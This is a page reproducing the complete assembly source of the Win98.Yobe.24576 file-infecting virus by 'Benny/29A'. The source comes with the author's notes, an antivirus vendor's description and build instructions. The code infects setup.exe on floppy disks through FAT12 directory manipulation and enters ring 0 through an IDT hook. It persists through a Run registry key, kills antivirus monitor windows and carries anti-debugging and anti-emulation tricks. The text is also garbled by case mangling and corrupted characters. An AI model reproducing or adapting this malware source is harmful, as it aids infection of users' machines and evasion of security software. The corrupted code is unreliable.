Win98.Yobe.24576.asm

xiaoxiao2021-03-05  23

??????????????????????????????????????????? ???????????????? [YOBE.ASM]???

; ??????? ??????? ???????

; ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????

Win98.yobe.24576 ?????? ??????? ???????

BY BENNY / 29A ??????? ?????????????

; ??????? ?????????????

;

;

;

Author's Description

; ?????????????????????

;

; Hey Reader! R u ST0NED OR DRUNK ENOUGH? IF NOT, THEN DON 'THIS, COZ THIS

Is really crazy. Let me Introduce U First Fat12 Infector (Cluster / Directory

; Virus, this is also used to call, full compatible with windozes (win98)!

NO NO, THAT's Not Enough. This is also resident, multithreaded in Both of

Ring-0 and Ring-3 Levels with anti-debugging, anti-heuristic, anti-emulator and

Anti-Monitor Features, Using Win9x Backdoor to Call DOS Services and Working

; with CRC32, Windows Registry and API functions.

Among All these Features, I do n'th Hope it has any chances to spread Outta

World. IT INFECTS ONLY DISKETTES (A: Only) and only one file - setup.exe. More

Crazy Than U though, Nah? Yeah, I'm lazy so i didn't want to test my code on

; My HardDisk and i also Didn't Want To Think About Infication Of More Than ONE

File. When I finished Win98.begemot, I Was Totally B0red of Those Stupid PE

Headerz, Rvas and Such Like. I Wanted to Code Something Realy Original, Not

Next Average-B0RING Virus. I hope i successed. this Virus Doesn't Demonstrate

Only Porting Old Techniques (C Dir-II Virus) To New Enviroment, But Also

Hot-new techniques (E.G. Ring0 Threads). To be this Virus Really Heavilly

ARMOURED is MISSING SOME POLY / META ENGINE. Unfortunately, this Conception of

Virus Doesn't Allow Me TO IMPLEMENT Such Engines (Neither Compression), Coz

I can't Modify Virus Code. However, I include Many Useful Trix To Fool; Debuggerz As Well As Heuristic Scannerz. Bad Thing Is That Babe IS

Detectable by nodice32 - Nodice32 Can Find Suspicious Code (Such as modifying)

; ID) AND SO IT Immedierately Reports An Unknown Virus. There a ain't chance to

Improve IT, Coz I can't Use any Kind of Encryption. Fortunately, Other AVS

Find sh! t: d. I Hope U Will Like this Piece of Work (It Took Me Much Time To

Code it, albeit it is very small (code is small) and headerz r huge :) and

; Optimized) And U Will Learn Much from That. u Want Probably Ask Me, Why I Didn't

Coded Stealth Virus. U R Right, It's Easy To Implement Full-Stealth Mechanism,

But, but, ... i won't lie u - I'm lazy :).

GIMME KNOW, IF U WILL HAVE ANY Comments, IF U Will Find Any Bugs or Anything

Else ... thnx.

;

;

;

What WILL HAPPEN ON EXECUTION?

; ?????????????????????????

;

Virus Will:

1) Setup Up SEH Frame

; 2) Check for CRC32 of Virus Body

; 3) Check for Application Level Debugger

; 4) RESET SEH FRAME AND RUN ANTI-Heuristic Code

; 5) Kill Some AV Monitors (AVP, AMON) Some Anti-Heuristic Code

6) Check for Softice

; 7) COPY Virus to Internal Buffer, Create New Ring-3 Thread and Wait for

ITS Termination

; 8) - JUMP TO RING-0 (VIA IDT)

; 9) - Check for Residency and Install Itself to memory

; 10) - Quit from Ring-0

11) Restore Host

; 12) Execute Host

; 13) Restore Host, So Host Will Be Infected Again

; 14) Set Registry Key, SO Virus Will Be Executed Everytime Windows WILL

Start

; 15) Check for payload activation time

; 16) - do payload

; 17) Remove SEH FRAME AND QUIT

;

;

Virus in Memory Will:

1) Check File Name

; 2) CREATE New Ring-0 Thread and Wait for ITS Termination; 3) - Check for Drive Parameters (Boot Sector Check)

; 4) - Check for Free Space (Fat Check)

; 5) - Redirect Cluster_ptr in Directory Structure (root)

; 6) - WRITE Virus to the end of data area

; 7) - Save Back Fat, Root and Save Area (INTERNALLY Used by Virus)

; 8) - Terminate Ring-0 Thread

; 9) Pass Control to Next IFS HOOKER

;

;

;

PayLoad

; ????????

;

; In Possibility 1: 255, Virus Will show icon on the left side of the screen and

Will Rotate with it. u Will C, How Light-Snake Will Be Rolled on The Screen.

User Will Be Really Impressed! X-D i Still Can't Stop Watching IT, IT Really

HipNotized Me!: DDDDD.

;

;

;

KNown Bugs

; ???????????

;

My Computer Will Sometimes Hang While System Will Try To Read Infected File.

Maybe Old FD Drive, Maybe Some Bugz in Virus Code. This Appear Only On My

Computer, SO I Hope It is Error On My Side.

;

;

;

Avp's Description

; ??????????????????

;

Benny's Notes: This Is Much Better Description Than at Begemot Virus. However,

I would have some notes, see [* *] marx:

;

;

Win95.yobe [* full compatible with win98, so why win95? *]

;

This is a dangerous [* why dangerous ?! *] Memory Resident Parasitic Windows

Virus. It uses system calls That Are Valid Under Win95 / 98 Only and Can't Spread

Under nt. The Virus Also HAS BUGS AND OF Often Halts The System When Run [* WH,

WHERE, why? *]. Despite on this the Virus Has Very Unusual Way of Spreaming,

And it is intending enough from Technical Point of View [* i Hope IT IS *].

The Virus Can Be Found Only In Two Files: "Setup.exe" on Floppy Disks and

"" Setup .exe "in the root of the c: drive (there is one space between file name; and" .exe "extension).

;

; On the floppy disks the Virus Uses a trick to hide its copy. It Writes ITS

Complete code to the last disk agent and modifies the setup.exe file to read

And Execute this code.

;

The infected setup.exe file loock Just As 512 Bytes Dos Exe Program, But IT IS

NOT. While Infecting this file the Virus Uses "Dirii" Virus Method: by Direct

; Disk Sectors Read / Write Calls The Virus Gets Access To Disk Directory Sectors,

Modifies "First File Cluster" Field and Makes Necessary Changes in Disk Fat

Tables. As a result the Original Setup.exe Code Is Not Modified, But The

Directory Entry Points to Virus Code Instead of Original File Clusters.

;

When the infected setup.exe is run from the affected floppy disk this dos

Component of the Virus Takes Control, Reads The Complete Virus Body from Tha

Last Sectors on The Floppy Disk, Then Creates The "C: / Setup .exe" File, Writes

THESE DATA (Complete Virus Code) To the Virus Installation

Routine Takes Control Then, Installs The Virus Into The System and Disinfect

The setup.exe file on the floppy drive.

;

While Installing Itself Into The System The Virus Creates [* Opens *] The New

Key in the system registry to Activate Itself on Each Windows Restart:

;

HKLM / Software / Microsoft / Windows / CurrentVersion / Run

; YOBE = "" C: / setup .exe "yobe"

;

The Virus Then Switches To The Windows Kernel Level (Ring0), Allocates A Block

; of system memory, Copies Itself to the there and hooks disk file access windows

Functions (IFS API). this hook intercepts file opening calls and on opening

The setup.exe file on the a: drive the virus infects it .;

The Virus Has Additional Routines. First of The Looks for "AVP Monitor" and

"Amon Antivirus Monitor" Windows and Closes Them; The Second One Depending ON

rDom counter Displays the line with the word "yobe" to the left side of the

Screen [* this is usually caled as payload: d *].

;

;

;

Greetz

; ???????

;

; B0z0 - huh, guy, why don't u stay in vx and write

Another Padania Virus? Just Last One;)))

Billy Belcebu - come to .cz!: D

Bitdict - nice to met ya. Kewl to met.

Darkman - Thank u for this wonderful book. It really

R0X0R !!!

Eddow - Would Like to Meet Ya on IRC!

Griyo - Hey Man, Just Reply me onCE.

ITCHI - Drink, Smoke and fuck again! :) Be Back and

Learn to Code, PAL!

Kaspersky - U Cocksucker, Where Did u Lose THE DESCRIPTION

; of begemot?!!

Reptile - Smoke, Smoke, Smoke. THIS Virus Is Really

; ST0NED: D. BTW, STILL WORKING ON Macro Stuph?;)

Starzer0 - Bak Infectorz Aren't Problem: D. Now, When I

Finished Fat12 INF., I Will Try to Code

Multithreaded .txt infector;)))))))

; - Fibers r Cool, But Threads Rulez !!!

; THE_Might - /

Midnyte -> F0RK ME a Joint Pleeeeeaaazzzz!: D

Rhape97 - /

ALL-NONSMOKERZ - Why Do U Drink and Drive, WHEN u CAN Smoke

And fly? x-ddd

; W33d - Thanx for Inspiration, this Virus is yourz,

Hehe: d.

Ikx stuph - Great Work, Men !!! xine # 4 r0x0r!

;

;

;

How to build

; ?????????????

;

Brcc32 yobe.rc

; TASM32 -ML -Q -M9 YOBE.ASM

; TLINK32 -TPE -C -X -AA Yobe,, IMPORT32, YOBE.RES

Pewrsec Yobe.exe

;

;

;

WHO is YOBE?

; ???????????????????

;

Many PPL Will Now Laugh ME (Hi Darkman !, hi billy!): Dd. Yobe Was Human, Which; Role IS Situated in Bible. Nah, Don't beat me, I'M NOT Catholic. I Only Like

Stories and PPL in Bible. Yobe Was Human, Which Lost His Religion. EHRM,

Leet's imagine it as "He Stopped BelieVing In What HE Believed". Story Is All

About That U Shouldn't Stop Believe In What u Believe. IF u believe in better

; World, Don't Stop BelieVing in it and do everything to become it truth, don't

Resignate. this a all't Only About CatholiSM, It's about life and utophy.

But now Pick Up Your Lazy Ass and Do Anything, Anything U Think It's Right,

OtherWise U WON 'Get What u want!

;

;

;

(c) 1999 Benny / 29a. Enjoy!

.386p; 386 protected opcodez

.Model flat; Flat Model, 32bit Offset

INCLUDE WIN32API.INC; Include Some Structure

PC_Writeable Equ 00020000H; Equates Used

PC_USER EQU 00040000H; in Installation

PR_Shared EQU 80060000H; Stage

PC_Present EQU 80000000H

PC_Fixed EQU 00000008H

PD_ZEROINIT EQU 00000001H

IFSMGR_GetHeap EQU 0040000DH; Used Services

IFSMGR_RING0_FILEIO EQU 00400032H

IFSMGR_INSTALLESYSTEMAPIHOK EQU 00400067H

Unitobcspath EQU 00400041H

VMMCREATTHREAD EQU 00010105H

VMMTERMINATTHREAD EQU 00010107H

_Vwin32_createring0thread EQU 002A0013H

IFSMGR_RING0_FILEIO EQU 00400032H

MEM_SIZE EQU (Virus_END-START 0FFFH 24576) / 1000H

SIZE OF Virus in Memory

VxdCall Macro vxdService; Macro to Call vxdcall

INT 20H

DD VXDService

ENDM

EXTRN CREATEFILEA: PROC; import apiz used by Virus

EXTRN Deviceiocontrol: Proc

EXTRN EXITPROCESS: PROC

EXTRN CLOSEHANDLE: PROC

EXTRN GETMODULEFILENAMEA: PROC

EXTRN READFILE: PROC

EXTRN CREATEPROCESSA: PROC

EXTRN COPYFILEA: PROC

EXTRN WAITFORSINGLEOBJECT: Procextrn Deletefilea: Proc

EXTRN CRETHREAD: PROC

EXTRN GETCOMMANDLINEA: PROC

EXTRN RegcreateKeyExa: Proc

EXTRN RegSetValueexa: Proc

EXTRN Regclosekey: Proc

EXTRN LOADICONA: PROC

EXTRN GETDC: PROC

EXTRN DRAWICON: PROC

EXTRN ISDEBUGGERPRESENT: PROC

EXTRN FINDWINDOWA: PROC

EXTRN PostMessagea: Proc

.DATA; DATA Section

Vxdname db '//./vwin32' ,0; vWin32 Driver Name

SRCFILE DB 'A: /SETUP.EXE', 0; Virus Locations

Dstfile DB 'C: /Setup.exe', 0; on Disk

Regfile db '"c: / setup .exe"; in registry

Regval DB 'Yobe', 0

Regsize = $ -REGFILE

Subkey DB 'Software / Microsoft / Windows / CurrentVersion / Run', 0

SICE DB '//./sice', 0; Softice Driver Name

SHITTYMONS:; Monitors to Kill

DB 'AVP MONITOR', 0

DB 'Amon Antivirus Monitor', 0

LPSISTARTINFO DB 64; Used by CreateProcessa

DB 63 DUP (?)

Regont:; Registers Passed to API

Regebx DD Offset Root

Regedx DD 19

RegeCx DD 14

Regex DD?

Regedi DD?

Regesi DD?

REGFLGS DD?

TMP DD?; Variable Requiered By API

ORG TMP

HKEY DD?; Key to Registry

LPPIPROCINFO:

HProcess Dd?; Handle to New Process

HTHREAD DD?; Handle to New Thread

DWPROCESSID DD?; ID OF Process

DWTHREADID DD?; ID of Thread

VBuffer DB 24576 DUP (?); Buffer Filled with Virus File

ORG VBuffer

FNAME DB 256 DUP (?); Name of Virus File

Ends; End of Data Section

.code; code; code

Start:; Virus Body Starts Here

@Seh_setupframe; setup SEH FRAME

Mov ESI, OFFSET _CRC_; Start Of Block

MOV EDI, CRC_END-_CRC_; SIZE OF BLOCK

Call CRC32; Check Code Integrity

CMP EAX, 0DACA92DCH; CRC32 MATCH?

_CRC _ = $

JNE R_EXIT; NO, QUIT (Anti-Breakpoint)

Call isdebuggerpresent; Check if any application level

Test Eax, Eax; Based Debugger IS Presentjne Exit; Yeah, Quit - Anti-Debugger

MOV [EAX], EBX; Cause Stack overflow Exception

JMP r_exit; - Anti-Emulator

SEH_JMP: @seh_removeframe; Reset Seh Handler

@Seh_setupframe; ...

Mov Eax, CS; Load Cs Selector

XOR Al, Al; Only LSB IS Set Under Winnt

Test Eax, Eax; IS Winnt Active

Je r_exit; yeah, quit

DB 0D6H; Anti-Emulator

MOV EAX, ESP; Save ESP TO EAX

Push cs; save cs to stack

POP EBX; Get IT Back to EBX

CMP ESP, EAX; Match?

JNE R_EXIT; NO, Quit - Anti-Emulator

Mov Eax, FS: [20H]; Get Debugger Context

Test Eax, Eax; Is there any?

JNE EXIT; YEAH, Quit - Anti-Debugger

Mov ESI, Offset Shittymons; Pointer to Stringz

XOR EDI, EDI; TO AV MONITORS

Push 2; 2 Monitors

POP ECX; ...

Killmons:

Push Ecx; Save Counter

Push ESI; AV STRING

Push EDI; NULL

Call Findwindowa; Find window

TEST EAX, EAX; FOUND?

JE next_mon; no, try to kill Other Monitor

Push EDI; Now We will send Message

Push Edi; To av window to kill itself

Push 12h; Veeeeeeeeeery Stupid X-DD

Push EAX

Call postmessagea; bye Bye, Hahaha

Next_mon:

SUB ESI, -0CH; Next Monitor String

POP ECX; Restore Counter

Loop Killmons; Kill ANother One, IF present

Push CS; Store CS

Push Offset Anti_L; Store Offset To Code

Retf; Go there - Anti-emulator

CRC32: Push Ebx; i Found this code in int13h's

XOR ECX, ECX; Tutorial About Infectin '

Dec Ecx; Archives. INT13H Found this

Mov EDX, ECX; Code in Vecna's INCA VIRUS.

Nextbytecrc:; So, Thank Ya Guys ...

XOR Eax, Eax; EHRM, this is very fast

XOR EBX, EBX; Procedure to Code CRC32 AT

Lodsb; Runtime, No Need to Use Big

xor al, cl; tables.

MOV CL, CH

MOV CH, DL

MOV DL, DH

MOV DH, 8

NextbitCrc:

SHR BX, 1

RCR AX, 1

JNC NOCRC

XOR AX, 08320H

XOR BX, 0EDB8HNOCRC: DEC DH

JNZ nextbitCrc

XOR ECX, EAX

XOR EDX, EBX

Dec Edi

JNE NEXTBYTECRC

Not Edx

NOT ECX

POP EBX

MOV EAX, EDX

ROL EAX, 16

MOV AX, CX

RET

Anti_l: Mov Edi, Offset Sice; Pointer to Softice

Call OpenDriver; Try to Open ITS DRIVER

JNE EXIT; SICE PRESENT, Quit - Anti-Debugger

Mov ESI, Offset Fname; WHERE to Store Virus FileName

Push 256; Size of FileName

Push ESI; PTR to FileName

Push 400000H; Base Address of Virus

Call getModuleFileNameA; Get Virus FileName

Test Eax, EAX; Error?

Je exit; yeah, quit

XOR EAX, EAX

Push EAX

Push EAX

Push Open_EXISTING

Push EAX

Push file_share_read

INC EAX

Ror Eax, 1

Push EAX

PUSH ESI

Call CreateFilea; Open Virus File

INC EAX; Error?

Je exit; yeah, quit

Dec EAX

XCHG Eax, ESI

PUSH 0

Push Offset TMP

Push 24576; Size of Virus File

Push Offset VBuffer; Ptr To Buffer

PUSH ESI

Call readfile; COPY Virus File to Buffer

Push EAX

PUSH ESI

Call CloseHandle; And Close Virus file

POP ECX

JECXZ EXIT

XOR EAX, EAX

Push Offset TMP

Push EAX

Push EAX

Push Offset NewThread

Push EAX

Push Eax; Create New Thread and Let Virus

Call CreateThread; Code Continue there

Test Eax, EAX; Error?

Je exit; yeah, quit

Mov Word Ptr [T_patch], 9090H; Allow Execution Of Code -

Push Eax; - Anti-Emulator

Call CloseHandle; Close Handle of Thread

CRC_END = $

E_PATCH: JMP $; this Will Be Patch by Thread

; - Anti-emulator

EXIT: Call getcommandlinea; Get Command-Line

XCHG EAX, ESI; To ESI

LODSB; loading Byte

CMP AL, '"'; is it"? if not, Virus FileName

Jne Regset; ain't long one - anti-aver

LCHAR: LODSB; Load Next Byte

CMP AL, '"'; is it"?

JNE LCHAR; NO, Continue

_lchar: lodsb; loading byte

CMP Al, ''; Is IT Space? JE _LCHAR; YEAH, Continue

Test Al, Al; Is there any parameter?

Jne Regset; Yeah, Virus is loading from

; C: drive -> no jump to host

Mov edi, offset vxdname; Pointer to vwin32

Call OpenDriver; Open Driver

Je regset; if Error, Quit

Dec EAX

MOV [D_Handle], EAX; Store Handle

Mov Eax, Offset Root; Buffer For Reading Root

Push Eax; Save Ptr

Call I25HSIMple; Read root

POP EBP; GET IT Back

JC C_EXIT; if Error, THEN Quit

_f_cmp: MOV ESI, EBP; Get Ptr To Root

PUSH ESI

Lodsd

TEST EAX, EAX; ZERO?

POP ESI

JE C_EXIT; YEAH, NO more Filez, Quit

Push 11; Size of FileName (8 3)

POP EDI; To EDI

Call CRC32; Calculate CRC32

CMP EAX, 873F6A26H; Match?

JE _FN_OK; YEAH, TRY TO RESTORE FILE

SUB EBP, -20H; NO, Get Next Directory Record

JMP _F_CMP; and Try Again

_fn_ok: Mov Edi, Offset Save; Load Save Area Sector from Disk

MOV [regebx], EDI

Mov [regedx], 2880-1; Save area = Last Sector in Disk

MOV [regecx], 1; one sector to read

Call I25h; read it

JC C_EXIT; if Error, THEN Quit

Push Word PTR [EBP 1AH]; Store Cluster_ptr

Push DWORD PTR [EBP 1CH]; Store FileSize

Push Word PTR [EDI]; Restore Cluster_ptr

POP Word PTR [EBP 1AH]; ...

Push DWORD PTR [EDI 2]; Restore FileSize

POP DWORD PTR [EBP 1CH]; ...

Call Writeroot; Restore Directory Record

POP DWORD PTR [EBP 1CH]; Restore FileSize

POP Word PTR [EBP 1AH]; Restore Cluster_ptr

JC C_EXIT; if Error, THEN Quit

MOV EBX, Offset Dstfile; Destination Path FileName

PUSH 0

Push EBX

Push Offset Srcfile; Source Path FileName

Call Copyfilea; Copy Virus from A: To C: Drive

XCHG EAX, ECX; Error?

JECXZ ERR_CPA; YEAH, Quit

XOR EAX, EAX

Push Offset LPPIPROCINFOFO

Push Offset LPSISTARTINFO

Push Eaxpush EAX

Push EAX

Push EAX

Push EAX

Push EAX

Push EAX

Push EBX

Call CreateProcessa; Execute Original File (Host)

XCHG EAX, ECX; Error?

JECXZ ERR_CPA; YEAH, Quit

MOV EBP, [HPROCESS]; Get Handle of Host Process

Push -1; Wait for ITS Signalisation

Push ebp; ...

Call waitforsingleObject; ...

Push EBP

Call CloseHandle; Close Handle of Host Process

Push dword PTR [hthread]

Call CloseHandle; Close Handle of Host Thread

ERR_CPA: Call Writeroot; Restore Root

Push EBX

Call deletefilea; and delete host from C: Drive

C_exit: Push 12345678H; Get Handle of Vwin32 Driver

D_Handle = DWORD PTR $ -4

Call CloseHandle; And Close IT

Regset: Push Offset TMP

Push Offset HKey

PUSH 0

Push 3

PUSH 0

PUSH 0

PUSH 0

Push Offset Subkey

Push 80000002H

Call RegcreateKeyExa; Open Registry

Test Eax, EAX

JNE r_exit

Push regsize

Push Offset Regfile

Push 1

PUSH 0

Push Offset Regval

MOV EBX, DWORD PTR [HKEY]

Push Ebx; Set Key - Virus Will Be Executed

Call RegSetValueexa; Everytime Windows Will Start

Push EBX

Call Regclosekey; Close Registry

DW 310FH; RDTCS

CMP Al, 'Y'; 1: 255 Possibility

JNE R_EXIT; PAYLOAD WON'T Be Activated

PayLoad: Push 0; PayLoad Will Be Activated

Call getdc; Get Device Context of Desktop

XCHG EAX, EBX; Save HDC to EBX

Push 29ah; id of icon

Push 400000H; Base of Virus

Call loadicona; loading icon

XOR EDX, EDX; EDX = 0

l_payload:

Pushad; Store All Registers

Push Eax; icon handle

Push Edx; Y Poszition

Push 0; x Posps

Push Ebx; Device Context Handle

Call Drawicon; Draw icon on Desktop

Popad; restore all registers

SUB EDX, -30; Increment Y Poszition

LOOP L_PAYLOAD; long payload :)

R_exit: @seh_removeframe; Remove SEH FRAME

PUSH 0

Call EXITPROCESS; and EXITNEWTHREAD:

Pushad; Store All Registers

T_patch: jmp $; WILL BE PATCHED - ANTI-Emulator

Call Enterring0; JMP TO RING-0

Pushad; Store All Registers

Mov Eax, DR0; Get Debug Register

CMP Eax, 'Yobe'; Check IF WE R Already Resident

Je quitr0; yeah, quit

Push 24576

Vxdcall ifsmgr_getheap; alocate memory for Our Virus

POP EDX; Correct Stack

Xchg Eax, EDI; Get Address To Edi

Test EDI, EDI; Error?

Je quitr0; yeah, quit

Push EDI; COPY Virus File to Memory

MOV ESI, Offset VBuffer; From

MOV ECX, 24576/4; How Many

Rep Movsd; Move!

POP EBP

MOV [EBP 600H MEMBASE-START], EBP; Save Address

Lea Eax, [EBP 600H Newifshandler-Start]

Push Eax; Pointer to New Handler

VxdCall IFSMGR_INSTALLFILESYSTEMAPIHOK; Install File System Hook

POP EDX; Correct Stack

MOV [EBP 600H Oldifshandler-Start], EAX

Mov Eax, 'Yobe'; Mark Debug Register AS "Already

MOV DR0, EAX; Resident Flag - Anti-Debugger

Quitr0: MOV DWORD PTR [P_JMP], 90909090H; Patch Code - Anti-Emulator

Popad; restore all registers

IRETD; and quit from ring-0

ENTERRING0:; RING0 Port

POP EAX; Get Address

Pushad; Store Registers

SIDT FWORD PTR [ESP-2]; LOAD 6BYTE Long IDT Address

Popad; Restore Registers

SUB EDI, - (8 * 3); Move To INT3

Push DWORD PTR [EDI]; Save Original IDT

Stosw; Modify IDT

INC EDI; MOVE BY 2

Inc EDI; ...

Push DWORD PTR [EDI]; Save Original IDT

Push Edi; Save Pointer

Mov Ah, 0eeh; IDT Flags

STOSD; Save IT

Push ds; save some selectors

Push es; ...

INT 3; JUMPTORING0!

POP ES; Restore Selectors

POP DS; ...

POP EDI; Restore Ptr

Add EDI, -4; Move with PTR

POP DWORD PTR [EDI 4]; and restore IDT

POP DWORD PTR [EDI]; ...

P_JMP: Inc Eax; Some Silly Loop to Foolcdq; Some AVS. Will Be Overwritten

JMP P_JMP; with nops l8r by int handler

Mov Word PTR [E_PATCH], 9090H; Again, New Overwriting of Code

Popad; - Anti-Emulator

Ret; Restore All Registers and quit

OpenDriver:

XOR EAX, EAX

Push EAX

Push 4000000H

Push EAX

Push EAX

Push EAX

Push EAX

Push EDI

Call CreateFilea; Open Driver

Inc Eax; Increment Handle

Ret; quit

Newifshandler:; File System Handler

ENTER 20H, 0; Reserve Space in Stack

Push DWORD PTR [EBP 1CH]; for parameters

Push DWORD PTR [EBP 18h]

Push DWORD PTR [EBP 14H]; Store Parameters

Push DWORD PTR [EBP 10h]; for Next Handler

Push DWORD PTR [EBP 0CH]

Push DWORD PTR [EBP 08H]

CMP DWORD PTR [EBP 0CH], 24H; OPEN?

JNE Quithandler; No, Quit

Pushad; Store All Registers

Call gdlta; get delta offset

GDELTA: DB 0B8H; Prefix - Anti-Disassembler

GDLTA: POP EBX; And Anti-Lamer

XOR ECX, ECX; ECX = 0

MOV CL, 1; ECX = 0 or 1

Semaphore = byte PTR $ -1

JECXZ EXITHANDLER; SEMAPHORE SET? THEN Quit

MOV BYTE PTR [EBX SEMAPHORE - GDELTA], 0

Set Semaphore

Lea EDI, [EBX FileName - GDELTA]; Get FileName

MOV Al, [EBP 10H]; Get Disk NO.

Dec Al; Is IT A:?

JNE EXITHANDAL; NO, QUIT

MOV Al, 'A'; Add A Letter

StoSB; Store IT

MOV Al, ':'; add: letter

StoSB; Store IT

Wegotdrive:

XOR EAX, EAX

Push EAX

Inc AH

Push EAX

MOV EAX, [EBP 1CH]

Mov Eax, [EAX 0CH]

SUB EAX, -4

Push EAX

Push EDI

VxdCall Unitobcspath; Convert Unicoe FileName To ANSI

SUB ESP, -10H; Correct Shitty Stack

MOV BYTE PTR [EDI EAX], 0; and Terminate FileName with / 0

MOV ESI, EDI

Dec ESI

Dec ESI

XCHG Eax, EDI

Inc EDI

Inc EDI

Inc EDI

Call CRC32; Calculate CRC32 OF FILENAMECMP EAX, 0B4662AD0H; Is IT "A: /SETUP.EXE, 0"?

Je setup_exe; yeah, continue

EXITHANDAL:

MOV BYTE PTR [EBX Semaphore - GDELTA], 1; Set Semaphore

Popad; restore all registers

Quithandler:

Mov Eax, 12345678H

Oldifshandler = DWORD PTR $ -4

Call [EAX]; Jump to Next Handler

SUB ESP, -18H; Correct Stack

Leave

Ret; and quit

Setup_exe:

MOV ECX, 1000H; Thread Stack

Lea EBX, [EBX Thread_INFECT - GDELTA]; Address of Thread PROC

XOR ESI, ESI; Next Crappy Parameter

Vxdcall _vwin32_createring0thread; Create new Ring-0 Thread

JMP EXITHANDAL; and quit

; - Anti-everything

DB 0B8H; Prefix - Anti-Disassembler

Thread_infect:; Ring-0 Thread Proc

Pushad; Store All Registers

JMP TI_NEXT; JUMP OVER

DB 3 DUP (?); Leave Code Be overwritten

Ti_Next: Call Tigdelta; Get Delta Offset

Ti_GDelta DB 0B8H; Next Prefix

TIGDELTA:

POP EBX

XOR ECX, ECX

Inc ECX

Lea ESI, [EBX BOOT - TI_GDELTA]; Read Boot Sector

Call Int25H

JC EXIT_THREAD

CMP [EBX BOOT 0BH - TI_GDELTA], 01010200H; Check, IF Diskette IS

JNE EXIT_THREAD; 1,44MB, Check Fat and

CMP Word PTR [EBX BOOT 0FH - TI_GDELTA], 0200H; Root Poszzi

JNE EXIT_THREAD

Push 9

POP ECX

CMP Word PTR [EBX BOOT 16H - TI_GDELTA], CX; ...

JNE EXIT_THREAD; NO, ITS NOT 1,44MB FD

LEA ESI, [EBX FAT - TI_GDELTA]

Inc EDX

Call Int25H; Read Fat

CMP Byte PTR [ESI], 0F0H; Check IF IS 1,44MB

JNE EXIT_THREAD; NO, QUIT

Lea EDI, [EBX FAT 4223 - TI_GDELTA]; Check Fat, IF Last Sectors R

MOV EBP, EDI; Free

XOR EAX, EAX

Sfat: scaSD

JNE EXIT_THREAD; NO, QUIT

Loop sfat

Mov EDI, EBP; Now We Will Mark Fat, Last

Inc EDI; SECTORS WILL BE Marked AS

MOV EAX, 0FF0FF00H; Reserved

Push 73; Coz We Infect 12bit Fat, WE

POP ECX; Use this loop to mark it so

Markfat: Ror Eax, 8

Test Al, Al

Je markfat

Stosb

Loop Markfat

MOV BYTE PTR [EDI], 0FH; Mark End

Call rootinit

Call Int25h; Read root

F_cmp: MOV ESI, EBP; Get Ptr To Root

PUSH ESI

Lodsd

TEST EAX, EAX; ZERO?

POP ESI

JE EXIT_THREAD; YEAH, NO More Filez, Quit

Push 11

POP EDI

Call CRC32; Calculate CRC32 of File

CMP EAX, 873F6A26H; Is IT setup.exe?

JE FN_OK; YEAH, Continue

SUB EBP, -20H; NO, Process Next Directory Rec.

JMP f_cmp; ...

Fn_ok: MOV AX, [EBP 1AH]; Save Cluster_ptr

MOV [EBX SAVE - TI_GDELTA], AX

MOV EAX, [EBP 1CH]; Save FileSize

MOV [EBX SAVE 2 - TI_GDELTA], EAX

MOV Word PTR [EBP 1AH], 2800; New Cluster_ptr

MOV DWORD PTR [EBP 1CH], 512; New FileSize

XOR ECX, ECX

Inc ECX

Lea ESI, [EBX LOADER - TI_GDELTA]

Mov EDX, 2880-49

Call Int26h; Write Dos Loader

Push 42

POP ECX

MOV ESI, [EBX MEMBASE - TI_GDELTA]

Mov EDX, 2880-48; Write Virus

Call Int26h

XOR ECX, ECX

Inc ECX

Lea ESI, [EBX SAVE - TI_GDELTA]

Mov EDX, 2880-1

Call Int26h; Write Save Area

Call rootinit

Call Int26h; Write root

Push 9

POP ECX

LEA ESI, [EBX FAT - TI_GDELTA]

XOR EDX, EDX

Inc EDX

Pushhad

Call Int26h; Write First Fat

Popad

SUB DL, -9

Call Int26h; Write Second Fat

EXIT_THREAD:

Popad; restore all registers

Ret; and exit

Rootinit:; procedure to initialize

Push 14; Registers forreading / Writing

POP ECX; root

Push 19

POP EDX

Lea ESI, [EBX ROOT - TI_GDELTA]

MOV EBP, ESI

RET

INT26H: MOV Eax, 0DE00H; Write Sectors

JMP IRFIO

INT25H: MOV EAX, 0DD00H; Read Sectors

Irfio: vxdcall ifsmgr_ring0_fileio

RET

Writeroot:; code used to write sectorz

Mov [Regebx], Offset root; Pointer to Root Fieldmov [RegedX], 19; Sector Number of root

MOV [regecx], 14; Sectors to Write

I26h: MOV [P2526], 3; Set Write Mode

JMP I2526; Continue

I25H: MOV [P2526], 2; SET Read Mode

I2526: And [Regeax], 0; Zero EAX

I25HSIMPLE:

PUSH 0

Push Offset TMP

Push 28

Push Offset Regont

Push 28

Push Offset Regont

Push 2

P2526 = Byte PTR $ -1

Push DWORD PTR [D_Handle]

Call Deviceiocontrol; Backdoor Used to Call Dos Services

XCHG EAX, ECX; Error?

Jecxz Q2526H; Yeah, Set Cf and quit

CLC; Clear CF

Ret; quit

Q2526H: STC; SET CF

Ret; and quit

Loader:; Dos Loader

Include loader.inc

LDRSIZE = $ -Loader; Size of Dos Loader

MEMBASE DD 'YYYY'; Address, WHERE IS Virus Placed in Memory

FileName DB 100H DUP ('Y'); filename

Save DB 512 DUP ('Y'); Save Area

Boot DB 512 DUP ('Y'); boot

FAT DB 4608 DUP ('Y'); FAT

Root DB 7168 DUP ('Y'); root

Virus_end:; Virus Ends Here

Ends; End of code Section

End start; Thats all f0lx;)

??????????????????????????????????????????? ???????????????? [YOBE.ASM]???

??????????????????????????????????????????? ????????????? [loader.inc]???

DD 5A4DH

DD 1

DD 5410010H

DD 0FFFH

DD 0

DD 0

DD 1ch

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 0

DD 8EC0331EH

DD 901EC4D8H

DD 1e892e00h

DD 8C2E008DH

DD 0C7008F06H

DD 9B009006H

DD 920E8C00H

DD 1f0e0e00h

DD 2AB907H

DD 0BB0B10BAH

DD 25CD00CBH

DD 0B8587258HDD 0DB33716CH

DD 0BAC93343H

DD 9EBE0012H

DD 7221CD00H

DD 40B49346H

DD 0B900CBBAH

DD 21CD6000H

